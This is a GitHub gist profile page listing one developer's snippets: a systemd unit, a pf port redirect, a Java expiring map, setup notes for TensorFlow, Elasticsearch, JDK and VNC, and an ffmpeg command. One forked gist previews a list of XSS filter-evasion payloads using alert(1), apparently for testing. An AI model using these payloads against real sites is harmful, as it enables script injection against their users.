Skip to content

Instantly share code, notes, and snippets.

View bvolpato's full-sized avatar
🐢
focus

Bruno Volpato bvolpato

🐢
focus
View GitHub Profile
@bvolpato
bvolpato / node_exporter.service
Created March 12, 2019 06:42
node_exporter.service
[Unit]
Description=Node Exporter
Wants=network-online.target
After=network-online.target
[Service]
User=node_exporter
Group=node_exporter
Type=simple
ExecStart=/usr/local/bin/node_exporter
@bvolpato
bvolpato / gist:7c237bec67f725cc6b9595dbf787a314
Last active June 27, 2022 22:31
Redirect port 8443 to 443
echo "
rdr pass inet proto tcp from any to any port 443 -> 127.0.0.1 port 8443
" | sudo pfctl -ef -
@bvolpato
bvolpato / SelfExpiringHashMap.java
Last active September 26, 2019 10:16
SelfExpiringHashMap - a Java Map which entries expire automatically after a given time; it uses a DelayQueue internally.
import java.util.Collection;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
import java.util.WeakHashMap;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.DelayQueue;
import java.util.concurrent.Delayed;
import java.util.concurrent.TimeUnit;
@bvolpato
bvolpato / tensorflow_cuda_osx.md
Created August 29, 2016 06:11 — forked from Mistobaan/tensorflow_cuda_osx.md
How to enable cuda support for tensor flow on Mac OS X (Updated on April:2016 Tensorflow 0.8)

These instructions will explain how to install tensorflow on mac with cuda enabled GPU suport. I assume you know what tensorflow is and why you would want to have a deep learning framework running on your computer.

Prerequisites

Make sure to update your homebrew formulas

brew update
@bvolpato
bvolpato / elasticsearch.md
Created August 23, 2016 06:45 — forked from nicolashery/elasticsearch.md
Elasticsearch: updating the mappings and settings of an existing index

Elasticsearch: updating the mappings and settings of an existing index

Note: This was written using elasticsearch 0.9.

Elasticsearch will automatically create an index (with basic settings and mappings) for you if you post a first document:

$ curl -X POST 'http://localhost:9200/thegame/weapons/1' -d \
'{
  "_id": 1,
@bvolpato
bvolpato / ba.sh
Created August 23, 2016 05:24
Change Audio in a Video file
ffmpeg -i video.mp4 -i audio.mp3 -map 0:0 -map 1:0 -c:v copy -c:a aac -b:a 256k -shortest output.mp4
@bvolpato
bvolpato / XSS Vectors
Created August 18, 2016 05:08 — forked from sz3n/XSS Vectors
XSS Vectors
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@bvolpato
bvolpato / id_rsa.pub
Created July 21, 2016 18:50
Public key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgIRsZ+r4Ycj73pzcITmaLbBF3hRCpNnMYeY/j0UPT8xDwEltKEL1TIoqIZWv+SkEv4PqGo1Cw+6VQX21RfLD/gx10yA1S/fqOEMSp6U6L+m/T+PkZ/uNaple+oUrKfjKAPB+V+sxeH38xWktdkZsTPr5Gqb3ngkrCt46me/UPxwtA0/1DuPY1hgZClmp/EbgLScT8FpNBEwdJO+CEx3H1BFqzG2UgbxRgvVnGjrJmTIwKppOC3cuU8rhbTP+jeIE+kJaD47lFqV+K44uvCQQeQ6g3Vjp3Q4HZ0FO7SxEp9Gor25yHOQrlfdlmWjEZFsliwNRRTAp1Yj+uT98EEKWr [email protected]
@bvolpato
bvolpato / jdk.sh
Created July 21, 2016 17:20
JDK8 on Ubuntu
#!/bin/sh
sudo apt-add-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer
@bvolpato
bvolpato / vnc.sh
Created July 21, 2016 17:14
VNC Setup DigitalOcean
#!/bin/sh
#https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-ubuntu-16-04
sudo apt install xfce4 xfce4-goodies tightvncserver
vncserver
vncserver -kill :1
mv ~/.vnc/xstartup ~/.vnc/xstartup.bak